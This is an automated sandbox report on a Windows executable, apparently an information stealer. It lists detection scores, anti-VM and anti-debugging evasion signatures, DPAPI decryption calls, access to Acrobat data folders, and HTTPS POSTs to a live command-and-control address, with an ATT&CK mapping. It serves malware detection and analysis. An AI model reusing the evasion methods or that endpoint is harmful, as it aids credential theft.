Edit tour

Windows Analysis Report
V6ZsDcgx4N.exe

Overview

General Information

Sample name:	V6ZsDcgx4N.exe renamed because original name is a hash value
Original sample name:	0a6bf0678bbd793e39a84dfb4c71d8b709d9e538288bf826c48b1ba899803ba4.exe
Analysis ID:	1499688
MD5:	2d4e723c184d9403b078e53f2de74a23
SHA1:	92fa5f8f346cb987f249bd41755c5aedaf4c8646
SHA256:	0a6bf0678bbd793e39a84dfb4c71d8b709d9e538288bf826c48b1ba899803ba4
Tags:	exe
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

V6ZsDcgx4N.exe (PID: 2556 cmdline: "C:\Users\user\Desktop\V6ZsDcgx4N.exe" MD5: 2D4E723C184D9403B078E53F2DE74A23)

WerFault.exe (PID: 1412 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2556 -s 54484 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: V6ZsDcgx4N.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: V6ZsDcgx4N.exe	ReversingLabs: Detection: 15%
Source: V6ZsDcgx4N.exe	Virustotal: Detection: 24%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: V6ZsDcgx4N.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Code function: 0_2_00191000 CryptUnprotectData,		0_2_00191000
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Code function: 0_2_00191C40 CryptSignHashA,CryptUpdateProtectedState,WinHttpTimeFromSystemTime,		0_2_00191C40

Source: V6ZsDcgx4N.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 45.125.66.18:443 -> 192.168.2.5:49704 version: TLS 1.2

Source: V6ZsDcgx4N.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Code function: 0_2_00198D40 FindFirstFileW,FindNextFileW,FindClose,

0_2_00198D40

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\	Jump to behavior

Source: Joe Sandbox View

JA3 fingerprint: 72a589da586844d7f0818ce684948eea

Source: global traffic

HTTP traffic detected: POST /api/receiver/recv HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.48Content-Length: 3160Host: 45.125.66.18

Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18

Source: unknown

Source: V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A78000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co3
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A61000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18/
Source: V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A2E000.00000004.00000001.00020000.00000000.sdmp, V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A78000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18/api/receiver/recv
Source: V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A78000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18/api/receiver/recv%
Source: V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A2E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18:443/api/receiver/recv

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown

HTTPS traffic detected: 45.125.66.18:443 -> 192.168.2.5:49704 version: TLS 1.2

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Code function: 0_2_00193D50 NtClose,NtClose,	0_2_00193D50
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Code function: 0_2_00191470 NtQuerySystemInformation,OpenProcess,GetCurrentProcess,DuplicateHandle,GetFileType,CloseHandle,GetCurrentProcess,DuplicateHandle,CloseHandle,FindCloseChangeNotification,	0_2_00191470
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Code function: 0_2_00191610 NtQueryObject,NtQueryObject,	0_2_00191610

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2556 -s 54484

Source: V6ZsDcgx4N.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal76.evad.winEXE@2/5@0/1

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Mutant created: \Sessions\1\BaseNamedObjects\082e2202-17f7-4654-a651-ac9a3778e1d7
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2556

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\8169cccc-3fbd-4722-9720-2ab750781803

Jump to behavior

Source: V6ZsDcgx4N.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: V6ZsDcgx4N.exe	ReversingLabs: Detection: 15%
Source: V6ZsDcgx4N.exe	Virustotal: Detection: 24%

Source: unknown	Process created: C:\Users\user\Desktop\V6ZsDcgx4N.exe "C:\Users\user\Desktop\V6ZsDcgx4N.exe"
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2556 -s 54484

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Section loaded: wldp.dll	Jump to behavior

Source: V6ZsDcgx4N.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: V6ZsDcgx4N.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Code function: 0_2_001917E0 GlobalHandle,LoadLibraryA,GetProcAddress,

0_2_001917E0

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_0-2496

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_0-2585

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Code function: 0_2_00198D40 FindFirstFileW,FindNextFileW,FindClose,

0_2_00198D40

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Code function: 0_2_00198CA0 GetSystemInfo,

0_2_00198CA0

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	File opened: C:\Users\user\AppData\Local\Adobe\	Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A2E000.00000004.00000001.00020000.00000000.sdmp, V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A78000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A78000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	API call chain: ExitProcess graph end node			graph_0-2512
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	API call chain: ExitProcess graph end node			graph_0-2507

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Code function: 0_2_001917E0 GlobalHandle,LoadLibraryA,GetProcAddress,

0_2_001917E0

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Code function: 0_2_00191A20 mov eax, dword ptr fs:[00000030h]

0_2_00191A20

Source: V6ZsDcgx4N.exe, 00000000.00000002.2523257182.0000000000FB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: V6ZsDcgx4N.exe, 00000000.00000002.2523257182.0000000000FB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: V6ZsDcgx4N.exe, 00000000.00000002.2523257182.0000000000FB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: V6ZsDcgx4N.exe, 00000000.00000002.2523257182.0000000000FB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Code function: 0_2_00198A80 cpuid

0_2_00198A80

Source: C:\Users\user\Desktop\V6ZsDcgx4N.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Native API	1 DLL Side-Loading	2 Process Injection	11 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Query Registry	Remote Services	Data from Local System	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	2 Process Injection	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
V6ZsDcgx4N.exe	16%	ReversingLabs
V6ZsDcgx4N.exe	24%	Virustotal		Browse
V6ZsDcgx4N.exe	100%	Avira	HEUR/AGEN.1315917
V6ZsDcgx4N.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
https://45.125.66.18/	0%	Avira URL Cloud	safe
https://45.125.66.18/api/receiver/recv	0%	Avira URL Cloud	safe
https://45.125.66.18/api/receiver/recv%	0%	Avira URL Cloud	safe
https://45.125.66.18:443/api/receiver/recv	0%	Avira URL Cloud	safe
http://microsoft.co3	0%	Avira URL Cloud	safe
https://45.125.66.18/api/receiver/recv	3%	Virustotal		Browse
https://45.125.66.18:443/api/receiver/recv	3%	Virustotal		Browse
https://45.125.66.18/	2%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
https://45.125.66.18/api/receiver/recv	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://45.125.66.18/api/receiver/recv%	V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A78000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://microsoft.co3	V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A78000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
https://45.125.66.18/	V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A61000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://45.125.66.18:443/api/receiver/recv	V6ZsDcgx4N.exe, 00000000.00000002.2523015066.0000000000A2E000.00000004.00000001.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.125.66.18	unknown	Hong Kong		133398	TELE-ASTeleAsiaLimitedHK	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1499688
Start date and time:	2024-08-27 12:46:58 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
